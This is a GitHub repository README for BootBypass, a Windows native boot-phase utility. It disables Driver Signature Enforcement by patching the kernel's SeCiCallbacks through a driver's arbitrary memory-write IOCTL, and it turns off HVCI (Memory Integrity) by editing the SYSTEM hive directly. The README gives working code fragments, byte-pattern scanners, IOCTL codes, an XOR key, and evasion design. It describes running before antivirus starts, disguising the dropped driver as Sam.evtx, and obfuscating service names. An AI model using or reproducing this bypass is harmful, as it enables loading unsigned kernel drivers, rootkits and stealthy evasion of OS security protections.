Skip to content

wesmar/BootBypass

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

BootBypass — Native Boot-Phase DSE/HVCI Bypass utility

Advanced native-mode utility for bypassing Driver Signature Enforcement and Memory Integrity. Implements smart SeCiCallbacks patching and independent management of HVCI settings. Operating as a subsystem:native application, it ensures early-phase control and environment preparation for security research and driver development.

KvcKiller CLI demo

Author Marek Wesołowski (WESMAR) Contact marek@kvc.pl  ·  +48 607 440 283
Year 2026 Domain kvc.pl

Table of Contents

  1. Overview
  2. Architecture
  3. Boot-Phase Execution Context
  4. Resource Embedding — IDR_DRV
  5. Kernel Offset Discovery — SeCiCallbacks Scanner
  6. IOCTL Memory Primitives — RTC_PACKET
  7. DSE Patch/Restore Sequence
  8. HVCI Detection and Hive Patching
  9. Service Name Obfuscation — MmPoolTelemetry
  10. DSE State Persistence
  11. Configuration Reference — drivers.ini
  12. Research Notes — Algorithm Development
  13. Module Reference
  14. Build System
  15. Deployment

1. Overview

BootBypass is a Windows native-subsystem application (/SUBSYSTEM:NATIVE) that executes as a SMSS boot-phase program — before services.exe, before winlogon.exe, and before any antivirus or EDR user-mode component initializes. It delivers a complete, automated pipeline for:

  • DSE bypass — patching SeCiCallbacks in the live kernel to disable Code Integrity validation, loading an unsigned target driver, then restoring the original callback — all within a single atomic boot-phase sequence.
  • HVCI (Memory Integrity) bypass — directly modifying the SYSTEM registry hive on disk, without using any registry API, to clear the HypervisorEnforcedCodeIntegrity\Enabled flag before the next boot.
  • INI-driven operation — all actions declared in C:\Windows\drivers.ini (UTF-16 LE). Supports LOAD, UNLOAD, RENAME, and DELETE operations, executed sequentially.

Secure Boot independence. Secure Boot validates the pre-OS chain — UEFI firmware → boot manager → Windows kernel. That chain is complete and sealed before SMSS launches its first process. bb.exe executes inside an already-running, already-validated kernel session; Secure Boot has no mechanism to inspect or constrain native applications registered in BootExecute. The relevant enforcement boundary at this stage is DSE — which this utility addresses directly.

Archive password: github.com

Demonstrated outcome — unsigned kernel driver loaded and running:

sc query omnidriver

SERVICE_NAME: omnidriver
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

2. Architecture

The project is a single native executable compiled from seven C translation units, two MASM modules, a shared header, and two embedded binary resources.

src/
├── BootBypass.h             Global type definitions, NT API imports, constants
├── BootManager.c/.h         Entry point (NtProcessStartup), privilege setup, main dispatch
├── SecurityPatcher.c/.h     IOCTL read/write primitives, DSE patch/restore, AutoPatch sequence
├── OffsetFinder.c/.h        PE parser, SeCiCallbacks heuristic scanner, ZwFlushInstructionCache locator
├── SetupManager.c/.h        Resource extraction (IDR_DRV1/IDR_DRV2), HVCI detect/patch, hive NK/VK walker
├── DriverManager.c/.h       NtLoadDriver, NtUnloadDriver, IsDriverLoaded
├── FileManager.c/.h         NtSetInformationFile rename/delete, recursive directory delete
├── SystemUtils.c/.h         memset, wcslen, wcscpy/wcscat safe ops, NtDisplayString, alloc/free
├── MmPoolTelemetry.asm      Runtime service name decoder (MASM, obfuscated)
├── bbs.asm                  HvciShutdownSvc service binary (~4 KB pure MASM, /SUBSYSTEM:CONSOLE)
├── IDR_DRV1                 Embedded kvc.sys blob (LZNT1-compressed + XOR-encrypted)
├── IDR_DRV2                 Embedded bbs.exe blob (LZNT1-compressed + XOR-encrypted)
├── drivers.ini              Boot-phase runtime configuration (UTF-16 LE)
└── resource.h / BootBypass.rc

rsc/
├── kvc.sys                  Raw bypass driver PE (source for IDR_DRV1)
└── bbs.exe                  Raw HVCI service PE (source for IDR_DRV2)

2.1 High-Level Execution Flow

flowchart TD
    A([NtProcessStartup]) --> B[Acquire privileges\nSE_LOAD_DRIVER · SE_BACKUP\nSE_RESTORE · SE_SHUTDOWN]
    B --> C[ReadIniFile + ParseIniFile]
    C --> D{Offsets in INI?}
    D -- No --> E[FindKernelOffsetsLocally\nScan ntoskrnl.exe on disk]
    D -- Yes --> F
    E --> F{HVCI enabled?}
    F -- Yes --> G[PatchSystemHiveHVCI\nDirect NK/VK hive write\nReboot]
    F -- No --> H[ExtractBbsAndRegisterService\\nbbs.exe → System32\\nHVCIShutdownSvc key]
    H --> I[For each INI entry]
    H --> I{Action}
    I -- LOAD + AutoPatch --> J[ExecuteAutoPatchLoad]
    I -- LOAD --> K[LoadDriver]
    I -- UNLOAD --> L[UnloadDriver]
    I -- RENAME --> M[NtSetInformationFile]
    I -- DELETE --> N[NtSetInformationFile\nrecursive if set]
    J --> O[ExtractkvcFromResource\nXOR decrypt + LZNT1 decompress\nWrite to Sam.evtx]
    O --> P[LoadDriver under obfuscated name]
    P --> Q[OpenDriverDevice]
    Q --> R[GetNtoskrnlBase\nNtQuerySystemInformation]
    R --> S[ReadMemory64 → save callback\nWriteMemory64 → patch SeCiCallbacks+0x20]
    S --> T[LoadDriver target unsigned driver]
    T --> U[WriteMemory64 → restore callback]
    U --> V[UnloadDriver + Cleanupkvc\nDelete Sam.evtx + registry key]
    V --> W([SUCCESS])
Loading

3. Boot-Phase Execution Context

3.1 Why the SMSS Phase

BootBypass runs as a native application registered in:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute

The default value is autocheck autochk *. deploy.ps1 appends bb to this multi-string, causing SMSS to launch bb.exe from %SystemRoot%\System32 on the next boot — before any Win32 subsystem process starts.

At this execution stage:

  • No antivirus user-mode threads are alive.
  • No ETW-based kernel callbacks are armed by security software.
  • The kernel and its loaded boot drivers are running; the session manager has control.
  • NtDisplayString writes directly to the boot screen (visible when Verbose=YES).

3.2 Linker and CRT Configuration

#pragma comment(linker,
    "/SUBSYSTEM:NATIVE "
    "/ENTRY:NtProcessStartup "
    "/NODEFAULTLIB "
    "/STACK:0x100000,0x100000")
#pragma comment(lib, "ntdll.lib")
#pragma optimize("", off)
#pragma check_stack(off)
Flag Effect
/SUBSYSTEM:NATIVE Loaded by SMSS; no Win32 initialization
/ENTRY:NtProcessStartup NT native entry point; PEB passed directly by the loader
/NODEFAULTLIB No CRT dependency; all string operations re-implemented in SystemUtils.c
/STACK:0x100000,0x100000 1 MB committed stack; required for in-place LZNT1 decompression buffers
#pragma optimize("", off) Prevents dead-code elimination of deliberate structural sequences
#pragma check_stack(off) Disables /GS stack cookies; consistent with native binary conventions

3.3 Privilege Acquisition

The first action of NtProcessStartup is enabling four privileges via RtlAdjustPrivilege:

Privilege Purpose
SeLoadDriverPrivilege (10) NtLoadDriver / NtUnloadDriver
SeBackupPrivilege (17) Open the SYSTEM hive with backup intent
SeRestorePrivilege (18) Write to the SYSTEM hive
SeShutdownPrivilege (19) NtShutdownSystem after HVCI hive patch

4. Resource Embedding — IDR_DRV1 and IDR_DRV2

Two binaries are embedded directly into bb.exe as RCDATA resources (type 10) and never touch disk as standalone files before extraction. Both are protected by the same two-layer encoding applied at build time:

Resource ID Content Purpose
IDR_DRV1 (101) kvc.sys Kernel bypass driver
IDR_DRV2 (102) bbs.exe HvciShutdownSvc service binary (~4 KB)

4.1 Build Pipeline (compress_idr.ps1)

The script processes both resources in a single run and auto-patches all four #define constants in SetupManager.c:

IDR_DRV1 pipeline:
Input: rsc\kvc.sys (raw PE, 14024 bytes)
  ↓
RtlCompressBuffer (LZNT1 + COMPRESSION_ENGINE_MAXIMUM)
  → compressed blob (9139 bytes, ~35% reduction)
  ↓
XOR encrypt, key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C } (7-byte rotating)
  → src\IDR_DRV1 (final resource blob, 9139 bytes)

IDR_DRV2 pipeline:
Input: rsc\bbs.exe (raw PE, 4096 bytes)
  ↓
RtlCompressBuffer (LZNT1 + COMPRESSION_ENGINE_MAXIMUM)
  → compressed blob (1759 bytes)
  ↓
XOR encrypt (same 7-byte key)
  → src\IDR_DRV2 (final resource blob, 1759 bytes)

The script then regex-patches SetupManager.c in-place, preserving whitespace alignment, updating all four constants:

#define kvc_SIZE              9139    // compressed+encrypted size of kvc.sys
#define kvc_UNCOMPRESSED_SIZE 14024   // original kvc.sys PE size
#define bbs_SIZE              1759    // compressed+encrypted size of bbs.exe
#define bbs_UNCOMPRESSED_SIZE 4096    // original bbs.exe PE size

These are verified at runtime: if a resource size does not match its _SIZE constant exactly, extraction fails immediately.

4.2 Runtime Extraction — Manual PE Resource Walk

No Win32 resource API is available in the native subsystem. FindResourceData() locates an embedded blob by walking the PE resource directory manually, starting from the image base obtained directly from the PEB. The same walk is used for both IDR_DRV1 (ID 101) and IDR_DRV2 (ID 102):

// x64: PEB at GS:[0x60], ImageBase at PEB+0x10
imageBase = (PVOID)*(ULONGLONG*)((UCHAR*)__readgsqword(0x60) + 0x10);

Walk path through the .rsrc directory tree:

IMAGE_RESOURCE_DIRECTORY (root)
  └─ entry.Id == 10  (RT_RCDATA)
       └─ IMAGE_RESOURCE_DIRECTORY (type level)
            └─ entry.Id == 101 (IDR_DRV1 / kvc.sys)
            │       └─ IMAGE_RESOURCE_DATA_ENTRY → kvc blob
            └─ entry.Id == 102 (IDR_DRV2 / bbs.exe)
                    └─ IMAGE_RESOURCE_DATA_ENTRY → bbs blob

4.3 Pre-Cleanup Before Extraction

Before writing the driver to disk, ExtractkvcFromResource() checks for leftover state from a previous crash or incomplete run:

IsDriverLoaded(driverName)?
  YES → NtUnloadDriver(service path)
      → NtOpenKey(service key) + NtDeleteKey
      → NtOpenFile(Sam.evtx) + FILE_DISPOSITION delete

This ensures idempotent operation regardless of prior crash.

4.4 Decryption and Decompression

// Step 1: XOR decrypt in-place
for (SIZE_T i = 0; i < kvc_SIZE; i++)
    xorBuf[i] = srcData[i] ^ XOR_KEY[i % XOR_KEY_LEN];

// Step 2: LZNT1 decompress via ntdll
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,
    decompBuf, kvc_UNCOMPRESSED_SIZE,
    xorBuf,    kvc_SIZE,
    &finalSize);

If finalSize != kvc_UNCOMPRESSED_SIZE, the extraction is aborted — no partial file is written.

4.5 Temporary Path

The decompressed PE is written to:

\SystemRoot\System32\winevt\Logs\Sam.evtx

This path was chosen because:

  • The Windows Event Log service (EventLog) is not yet running during the SMSS boot phase — no sharing violation.
  • The filename and directory are indistinguishable from legitimate Windows telemetry to a casual observer.
  • The file is deleted by Cleanupkvc() immediately after the bypass driver is unloaded — zero permanent footprint.

4.6 Cleanup

Cleanupkvc() unconditionally:

  1. Opens Sam.evtx with DELETE access and sets FILE_DISPOSITION_INFORMATION.DeleteFile = TRUE.
  2. Opens the service registry key under HKLM\...\Services\<name> and calls NtDeleteKey.

5. Kernel Offset Discovery — SeCiCallbacks Scanner

When Offset_SeCiCallbacks or Offset_SafeFunction are missing from drivers.ini, FindKernelOffsetsLocally() reads ntoskrnl.exe directly from disk and scans it — no PDB download, no network access, no symbols. The scanner uses three phases tried in order, covering all builds from Windows 10 1607 (RS1) onward.

5.1 ZwFlushInstructionCache (SafeFunction)

Located by a simple export table name scan. The RVA is read from the export directory:

Export directory → name table → find "ZwFlushInstructionCache" → ordinal → function RVA

This function is used as the patch target: writing its address into SeCiCallbacks+0x20 causes CiValidateImageHeader to immediately return success for all drivers, bypassing signature verification.

5.2 SeCiCallbacks — Three-Phase Heuristic Scan

SeCiCallbacks is an undocumented kernel global — not exported, not in any public symbol. The scanner finds it through three methods tried sequentially, providing coverage from Windows 10 1607 (RS1) to current.

Phase 1 — Fast (primary, all modern builds)

A quick pass looking for LEA r64, [RIP+rel32] instructions where the target lands in a writable section at SeCiCallbacks + 4. Immediately scored and accepted if the total exceeds FAST_MIN_SCORE (110).

Phase 2 — Structural (RS3+ exhaustive)

Full exhaustive scan of all executable sections for the characteristic SepInitializeCodeIntegrity initialization sequence:

Target instruction pattern — a RIP-relative DWORD store of the struct size into the callbacks struct:

C7 05 <rel32> <imm32>     ; MOV DWORD PTR [rip+disp], <struct_size>

This is a 10-byte instruction (C7 05 form, not the 48 C7 05 QWORD form). The displacement points to a writable data section — SeCiCallbacks itself.

Scoring system: Each candidate is evaluated by a multi-factor scoring algorithm:

Evidence Points
Base score for matching RIP-relative DWORD store to writable data 80
imm32 within expected struct-size range [0x40, 0x4000] (required)
imm32 == 0x108 (known SeCiCallbacks flags value) +12
Preceding RIP-relative LEA points to target+4 in writable data (required)
Zeroing of EDX/R8D (xor edx,edx / xor r8d,r8d) before struct init +1 (per item)
Struct size constant in r8d / r9d (41 B8 or 49 C7 C0, value 0x40–0x400) +1
CALL instruction appears after the zeroing + size sequence +1
Each point from zeroing window multiplied by 12
Nearby QWORD store within 0x20 bytes (48 C7 05 / 48 89) to writable data +8
qword store gap < 24 bytes 30 − gap
struct size matches: qword_target_rva − lea_target_rva == struct_size +18
imm32 == struct_size + 12 (common SeCiCallbacks layout) +18
imm32 == struct_size + 8 or +16 +6
qword_delta == imm32 − 8 (pointer-and-size layout) +20
Distance penalty (LEA distance / 32, max 12) −(0..12)

Minimum qualifying score: 110. The scanner uses the PE exception directory (.pdata, IMAGE_RUNTIME_FUNCTION_ENTRY) to constrain the backwards search window to the containing function's prologue. Observed scores on correct candidates: 120–185 points.

Phase 3 — Legacy Anchor (RS1/RS2 fallback, covers 1607+)

On Windows 10 1607 (RS1) and 1703 (RS2) the kernel's CipInitialize does not call RtlZeroMemory on the callbacks structure, so the structural scan never accumulates enough score. The legacy phase falls back to searching for the single reliable constant — the flags DWORD store:

C7 05 <rel32> 08 01 00 00   ; MOV DWORD PTR [rip+disp], 0x108

Any C7 05 (plain DWORD form, not 48 C7 05 QWORD form) writing the value 0x108 into a writable section is accepted as the SeCiCallbacks location. This is the only pattern that has been consistent across all builds from RS1 onward.

Callback offset: hardcoded to 0x20 (32 bytes into SeCiCallbacks). This is the slot for CiValidateImageHeader, the callback that validates PE code integrity before loading.

5.3 PE Loading for Offline Scan

ntoskrnl.exe is opened with NtOpenFile + FILE_READ_DATA | SYNCHRONIZE, mapped into user memory via NtAllocateVirtualMemory, and read with NtReadFile. All section boundaries are parsed from the PE header — no kernel mapping, no LoadLibrary.


6. IOCTL Memory Primitives — RTC_PACKET

The bypass driver exposes arbitrary 32-bit kernel virtual memory read and write via a simple IOCTL interface. Communication uses the following structure:

typedef struct _RTC_PACKET {
    UCHAR     pad0[8];     // offset  0  — reserved
    ULONGLONG addr;        // offset  8  — target kernel virtual address
    UCHAR     pad1[8];     // offset 16  — reserved
    ULONG     size;        // offset 24  — transfer size (always 4)
    ULONG     value;       // offset 28  — read result / write value
    UCHAR     pad3[16];    // offset 32  — reserved
} RTC_PACKET;              // total: 48 bytes

Because the IOCTL only supports 32-bit transfers, 64-bit read/write is decomposed into two consecutive 32-bit operations:

// WriteMemory64: low DWORD first, high DWORD at address+4
WriteMemory32(hDriver, address,     (ULONG)(value & 0xFFFFFFFF),        ioctl_write);
WriteMemory32(hDriver, address + 4, (ULONG)((value >> 32) & 0xFFFFFFFF), ioctl_write);

// ReadMemory64: two reads, reassembled
low  = ReadMemory32(hDriver, address,     ioctl_read);
high = ReadMemory32(hDriver, address + 4, ioctl_read);
*value = ((ULONGLONG)high << 32) | low;

The IOCTL codes are read from drivers.ini (IoControlCode_Read, IoControlCode_Write) — no hardcoded constants in the binary.

Kernel device handle is obtained via NtOpenFile on the device path declared in DriverDevice. If the path ends with kvc, it is resolved at runtime to \Device\<MmGetPoolDiagnosticString()> — see §9.


7. DSE Patch/Restore Sequence

ExecuteAutoPatchLoad() performs the complete bypass in five steps:

STEP 1  ExtractkvcFromResource()
        XOR decrypt + LZNT1 decompress IDR_DRV → Sam.evtx
        LoadDriver(obfuscated_name, Sam.evtx, "KERNEL", "SYSTEM")

STEP 2  OpenDriverDevice(\Device\<obfuscated_name>)
        GetNtoskrnlBase (NtQuerySystemInformation class 11)

STEP 3  callbackToPatch = ntBase + Offset_SeCiCallbacks + Offset_Callback (0x20)
        safeFunction    = ntBase + Offset_SafeFunction
        ReadMemory64(callbackToPatch) → save originalCallback + DSE_STATE to drivers.ini
        WriteMemory64(callbackToPatch, safeFunction)   ← DSE disabled

STEP 4  LoadDriver(target_service, target_image_path)  ← unsigned driver loads

STEP 5  WriteMemory64(callbackToPatch, originalCallback) ← DSE restored
        UnloadDriver(obfuscated_name)
        Cleanupkvc()                                   ← Sam.evtx + registry deleted

If any step fails after the patch write (steps 4–5), the original callback is already persisted in [DSE_STATE] — it will be restored on the next boot from the saved value.


8. HVCI Detection and Hive Patching

8.1 Detection

HVCI status is read from the live registry at boot time:

HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\
    Scenarios\HypervisorEnforcedCodeIntegrity\Enabled (REG_DWORD)

If Enabled == 1, direct memory patching via IOCTL would fail (HVCI prevents writable kernel code). The tool switches to hive patching mode.

8.2 Offline Hive Patching — Chunked NK/VK Walk

PatchSystemHiveHVCI() opens \SystemRoot\System32\config\SYSTEM directly with FILE_OPEN_FOR_BACKUP_INTENT | FILE_READ_DATA | FILE_WRITE_DATA (requires SeBackupPrivilege + SeRestorePrivilege). It operates entirely without the registry API — reading and modifying the raw binary hive file.

Scan strategy — chunked 1 MB reads with 256-byte overlap:

The hive file is scanned in 1 MB chunks. Each chunk is searched for the 31-byte ASCII literal:

HypervisorEnforcedCodeIntegrity

When the pattern is found at offset p within a chunk, the scanner validates that it belongs to an NK (key) cell — not a value blob — by checking the two-byte signature at p - 0x4C:

chunkBuffer[p - 0x4C] == 0x6E &&   // 'n'
chunkBuffer[p - 0x4C + 1] == 0x6B  // 'k'

The NK cell header layout at p - 0x4C:

Offset Field Verification
+0x00 NK signature 0x6E 0x6B — required
+0x04 values count must be 1–256
+0x08 values list offset raw hive offset
+0x4C key name (ASCII) HypervisorEnforcedCodeIntegrity

Values list walk:

The values list is a flat array of ULONG hive offsets, one per value. Each offset is resolved to an absolute file offset as 0x1000 + cell_offset (skipping the 4 KB hive header). For each VK (value) cell:

VK offset Field Expected
+4 VK signature 0x76 0x6B
+6 name length (USHORT) 7 (ASCII) or 14 (Unicode)
+8 data length 0x80000004 (inline REG_DWORD)
+12 inline data current DWORD value
+16 data type REG_DWORD (4)
+20 flags bit 0 set = ASCII name

Name match: compares 7 bytes "Enabled" in ASCII (flags bit 0 set) or 7 UTF-16 LE codepoints (flags bit 0 clear).

Write and verify:

writeOffset.QuadPart = vkFileOffset + 12;  // inline REG_DWORD payload
NtWriteFile(hFile, ..., &newValue, 4, &writeOffset);

// Immediate read-back verification
NtReadFile(hFile, ..., &verifiedValue, 4, &writeOffset);
assert(verifiedValue == newValue);

After successful patch, NtFlushBuffersFile flushes to physical media. The tool then calls NtShutdownSystem(1) to reboot — the patched hive takes effect on the next boot. On the boot after the reboot, HVCI is no longer active and the DSE bypass proceeds normally.

Windows 10 compatibility: On Windows 10 the VK cell for Enabled can reside megabytes away from its NK cell in the hive file. The 256-byte chunk overlap prevents missing patterns at chunk boundaries; the values-list random-access reads handle distant VK cells regardless of their file position.

8.3 HVCI Restoration — HvciShutdownSvc (bbs.exe)

When RestoreHVCI=YES, HVCI must be fully re-enabled after the driver operations complete — and the Windows Security Center slider must be shown as active (right/on). Simply writing Enabled=1 back to the hive is not enough: DeviceGuard also validates WasEnabledBy and ChangedInBootCycle before it considers the protection state complete.

bb.exe handles this through a dedicated Windows service — HvciShutdownSvc — deployed as part of every run.

bbs.exe — pure MASM service binary (~4 KB)

bbs.exe is built entirely from bbs.asm (pure x64 MASM, /SUBSYSTEM:CONSOLE, no CRT) and placed in System32. It is registered as an AUTO_START service (HvciShutdownSvc) by ExtractBbsAndRegisterService() during the boot phase, then started automatically by the SCM on the same and every subsequent boot. Binary size: 4096 bytes uncompressed.

The service implements two actions:

DoStartupAction — called when the service transitions to SERVICE_RUNNING:

1. NtQuerySystemInformation(SystemTimeOfDayInformation=3)
   → reads KeBootTime (precise kernel FILETIME, 100-ns ticks, UTC)
   → same source used by DeviceGuard for ChangedInBootCycle validation
   → NOT equivalent to Win32_OperatingSystem.LastBootUpTime
     (that value drifts on Hyper-V after VMICTimeSync step correction)

2. RegOpenKeyExA(HKLM, DeviceGuard\...\HypervisorEnforcedCodeIntegrity)

3. Writes Enabled = 1  (REG_DWORD)         → HVCI on

4. Writes WasEnabledBy = 2  (REG_DWORD)    → "enabled by user / policy"

5. Writes ChangedInBootCycle = BootTime  (REG_QWORD)
   → only written when existing value differs from the current BootTime,
     matching the DeviceGuard update contract exactly

This fully satisfies the DeviceGuard heuristic — Windows Security Center shows the Memory Integrity slider in the right (on) position, representing complete HVCI protection.

DoShutdownAction — called when the SCM sends SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN, or SERVICE_CONTROL_PRESHUTDOWN:

RegSetValueExA(Enabled = 0)   → HVCI off for next boot

Setting Enabled=0 at shutdown means the HVCI hive patch performed by bb.exe during the previous boot cycle has already taken effect — the driver operation completed, and HVCI is being cleared in preparation for the next run, without requiring a second reboot.

Elimination of the second restart

Previously, RestoreHVCI=YES required an extra reboot cycle: bb.exe would patch the hive to re-enable HVCI, then the OS would reboot again to apply it. With the service model:

  1. bb.exe patches the hive to disable HVCI for the upcoming boot cycle, reboots once.
  2. On the next boot, HVCI is disabled → bb.exe runs → driver operations complete → bbs.exe is deployed and its SCM key is registered.
  3. The SCM starts HvciShutdownSvcDoStartupAction writes Enabled=1 + WasEnabledBy=2 + ChangedInBootCycle=BootTime to the live registry → Security Center slider goes right.
  4. At shutdown, DoShutdownAction writes Enabled=0 → prepares for the next run.

Only one reboot is ever required regardless of RestoreHVCI setting.

SetHVCIRegistryFlag

SetupManager.c exposes SetHVCIRegistryFlag(BOOLEAN enable) which writes the same three values (Enabled, WasEnabledBy, ChangedInBootCycle) to the live volatile registry key. It is called from BootManager.c when RestoreHVCI=YES to ensure the live registry reflects the intended state immediately — before the SCM has a chance to start the service — providing an additional safety net on the same boot.


9. Service Name Obfuscation — MmPoolTelemetry

The service name used for the bypass driver is not stored as a plain string anywhere in bb.exe. It is produced at runtime by MmGetPoolDiagnosticString() — an x64 MASM function in MmPoolTelemetry.asm that assembles the name from encoded immediate values.

The returned name appears in:

  • The service registry key path (HKLM\...\Services\<name>)
  • The device object path (\Device\<name>)
  • NtLoadDriver / NtUnloadDriver calls

Device path resolution: drivers.ini declares DriverDevice=\Device\kvc as a placeholder. At runtime, if the last path component is exactly kvc, ExecuteAutoPatchLoad() replaces it with \Device\<MmGetPoolDiagnosticString()>:

SIZE_T nameStart = find_last_backslash(config->DriverDevice);
if (config->DriverDevice[nameStart] == L'k' &&
    config->DriverDevice[nameStart+1] == L'v' &&
    config->DriverDevice[nameStart+2] == L'c' &&
    config->DriverDevice[nameStart+3] == L'\0') {
    wcscpy_safe(resolved, MAX_PATH_LEN, L"\\Device\\");
    wcscat_safe(resolved, MAX_PATH_LEN, MmGetPoolDiagnosticString());
    devicePath = resolved;
}

This means neither the real driver name nor the device path appear in any string table, import table, or resource of the binary.


10. DSE State Persistence

If the process terminates abnormally between patching and restoring SeCiCallbacks, the original callback value would be lost — leaving DSE permanently disabled until the next kernel load. To prevent this, the original callback is persisted immediately after the read:

SaveStateSection() appends a [DSE_STATE] section to drivers.ini:

[DSE_STATE]
OriginalCallback=0xFFFFF80612345678

On the next boot, LoadStateSection() reads this value before performing any operation. RemoveStateSection() strips the section from the file after a successful restore. Both operations parse and rewrite the UTF-16 LE INI file using only NT file APIs.


11. Configuration Reference — drivers.ini

The configuration file is placed at %SystemRoot%\drivers.ini — decoded by bb.exe as \SystemRoot\drivers.ini. It must be encoded as UTF-16 LE with BOM (written automatically by deploy.ps1).

11.1 [Config] Section

[Config]
Execute=YES                       ; NO = parse file but perform no operations
RestoreHVCI=NO                    ; YES = re-enable HVCI flag in hive after all operations
Verbose=NO                        ; YES = output to boot screen via NtDisplayString; NO = silent

DriverDevice=\Device\kvc          ; Bypass driver device path; "kvc" resolved at runtime
IoControlCode_Read=2147492936     ; 0x80002048
IoControlCode_Write=2147492940    ; 0x8000204C

; Kernel offsets — commented out = auto-scanned at boot from ntoskrnl.exe.
; Fill in known values to skip the scan (faster on repeated runs).
;Offset_SeCiCallbacks=0x0
Offset_Callback=0x20              ; offset within SeCiCallbacks to CiValidateImageHeader
;Offset_SafeFunction=0x0

If both Offset_SeCiCallbacks and Offset_SafeFunction are 0, FindKernelOffsetsLocally() scans ntoskrnl.exe at boot time and populates them automatically. The offsets are not written back to the file — the scan runs on every boot if they are absent.

11.2 Driver Entry — ACTION=LOAD

[Driver0]
Action=LOAD
AutoPatch=YES                     ; YES = full DSE bypass cycle; NO = direct NtLoadDriver
CheckIfLoaded=NO                  ; YES = skip if driver already running
ServiceName=omnidriver            ; SCM service name (registry key)
DisplayName=omnidriver            ; Display label (boot screen only)
ImagePath=\SystemRoot\System32\drivers\omnidriver.sys
DriverType=KERNEL
StartType=SYSTEM

11.3 Driver Entry — ACTION=UNLOAD

[Driver1]
Action=UNLOAD
ServiceName=omnidriver
DisplayName=Unload omnidriver

11.4 File Operations — RENAME and DELETE

Rename/move a file or directory (pre-boot, before any file locks are established):

[Op0]
Action=RENAME
DisplayName=Rename my file
SourcePath=\SystemRoot\System32\oldname.dll
TargetPath=\SystemRoot\System32\newname.dll
ReplaceIfExists=YES

Delete a file or directory tree:

[Op1]
Action=DELETE
DisplayName=Remove temp artifact
DeletePath=\SystemRoot\Temp\artifact.bin
RecursiveDelete=NO

All paths use NT-style format — no drive letters. \SystemRoot is the kernel alias for the Windows installation root, resolved independently of which drive Windows is installed on.

11.5 Multiple Entries

Up to 64 entries (MAX_ENTRIES) are supported per file. Entries are processed sequentially in declaration order. AutoPatch=YES entries extract the bypass driver, use it, and clean up before proceeding to the next entry.

11.6 Complete Reference Example

; ============================================================
; BootBypass Configuration — UTF-16 LE with BOM
; ============================================================

[Config]
Execute=YES
RestoreHVCI=NO
Verbose=NO

DriverDevice=\Device\kvc
IoControlCode_Read=2147492936
IoControlCode_Write=2147492940

; Kernel offsets — commented out = auto-scanned at boot from ntoskrnl.exe.
;Offset_SeCiCallbacks=0x0
Offset_Callback=0x20
;Offset_SafeFunction=0x0

; --- Load unsigned target driver with DSE bypass ---
[Driver0]
Action=LOAD
AutoPatch=YES
CheckIfLoaded=NO
ServiceName=omnidriver
DisplayName=omnidriver
ImagePath=\SystemRoot\System32\drivers\omnidriver.sys
DriverType=KERNEL
StartType=SYSTEM

; --- Rename a file before Windows session starts ---
[Op0]
Action=RENAME
DisplayName=Swap library
SourcePath=\SystemRoot\System32\mylib_new.dll
TargetPath=\SystemRoot\System32\mylib.dll
ReplaceIfExists=YES

; --- Delete a leftover artifact ---
[Op1]
Action=DELETE
DisplayName=Remove temp
DeletePath=\SystemRoot\Temp\setup_artifact.tmp
RecursiveDelete=NO

12. Research Notes — How the Algorithms Were Developed

12.1 HVCI Hive Structure Discovery — Windows 10 vs Windows 11

The HVCI bypass via raw hive patching required understanding a non-obvious structural difference between Windows generations that is not documented anywhere publicly.

Windows 11 — compact hive layout. The HypervisorEnforcedCodeIntegrity NK cell and its Enabled VK cell are stored close together in the hive file — typically within a few kilobytes. A simple forward scan finds the key name and the value data nearby with high reliability.

Windows 10 — scattered layout. Microsoft's registry compaction on Windows 10 places the VK cell for Enabled at a completely unrelated file offset, potentially megabytes away from the NK cell that references it. A naive contiguous scanner finds the key name, reads the values-list offset from the NK header, then must perform an entirely separate random-access read to a distant file position to reach the actual VK cell.

Understanding this required:

  1. Opening raw SYSTEM hive files from both Windows versions in a hex editor.
  2. Manually tracing the NK → values-list → VK chain at the binary level: 4-byte cell sizes, the 0x1000 base offset of the first hive bin, the inline REG_DWORD encoding at VK offset +12.
  3. Confirming that the NK signature (nk = 0x6E 0x6B) appears exactly 0x4C bytes before the key name in the cell, and the VK signature (vk = 0x76 0x6B) at +4 within the value cell.

The implementation handles both layouts via chunked 1 MB reads with 256-byte overlap (preventing missed patterns at chunk boundaries) combined with random-access NtReadFile calls for values-list and VK data regardless of their file position. Write is followed by an immediate read-back verification before NtFlushBuffersFile commits the change to disk.

12.2 SeCiCallbacks Discovery — IDA Reverse Engineering and Python Prototype

Finding SeCiCallbacks without PDB symbols across arbitrary Windows kernel builds required a full reverse engineering process before a single line of C was written.

Goal: Locate two offsets in ntoskrnl.exe at boot time — fully offline, no internet, no symbol server:

  • Offset_SeCiCallbacks — RVA of the undocumented SeCiCallbacks global
  • Offset_SafeFunction — RVA of ZwFlushInstructionCache (patch target to neutralise CI)

Stage 1 — IDA analysis. Loaded ntoskrnl.exe in IDA Pro (x64). Navigated to SepInitializeCodeIntegrity — the function responsible for initialising the Code Integrity subsystem at boot. Observed the following characteristic initialization sequence:

lea     rcx, SeCiCallbacks+4       ; LEA r64, [RIP+rel32] — points to struct+4
xor     edx, edx                   ; zero fill value
mov     r8d, 0FCh                  ; struct size for memset
call    memset
mov     cs:SeCiCallbacks, 108h     ; C7 05 rel32 108h — flags field write
mov     cs:qword_..., 0A000010h    ; 48 C7 05 rel32 ... — nearby qword write

Key insight: the LEA points to SeCiCallbacks + 4 (not the base), so seci_rva = lea_target − 4. The C7 05 store immediately after memset writes the flags field (0x108 on observed builds). A nearby 48 C7 05 (QWORD store) appears within ~0x20 bytes into the same structure.

Stage 2 — Python prototype (find_seci.py). Implemented a complete offline scanner in Python to iterate quickly on heuristics:

# Anchor: find all C7 05 rel32 imm32 instructions in executable sections
# where target RVA lands in a writable, non-executable section
# and imm32 is in [0x40, 0x4000] (plausible struct size/flags)

for file_off in exec_section_range:
    if data[file_off:file_off+2] != b'\xC7\x05':
        continue
    target_rva = compute_rip_relative(file_off, length=10, data=data)
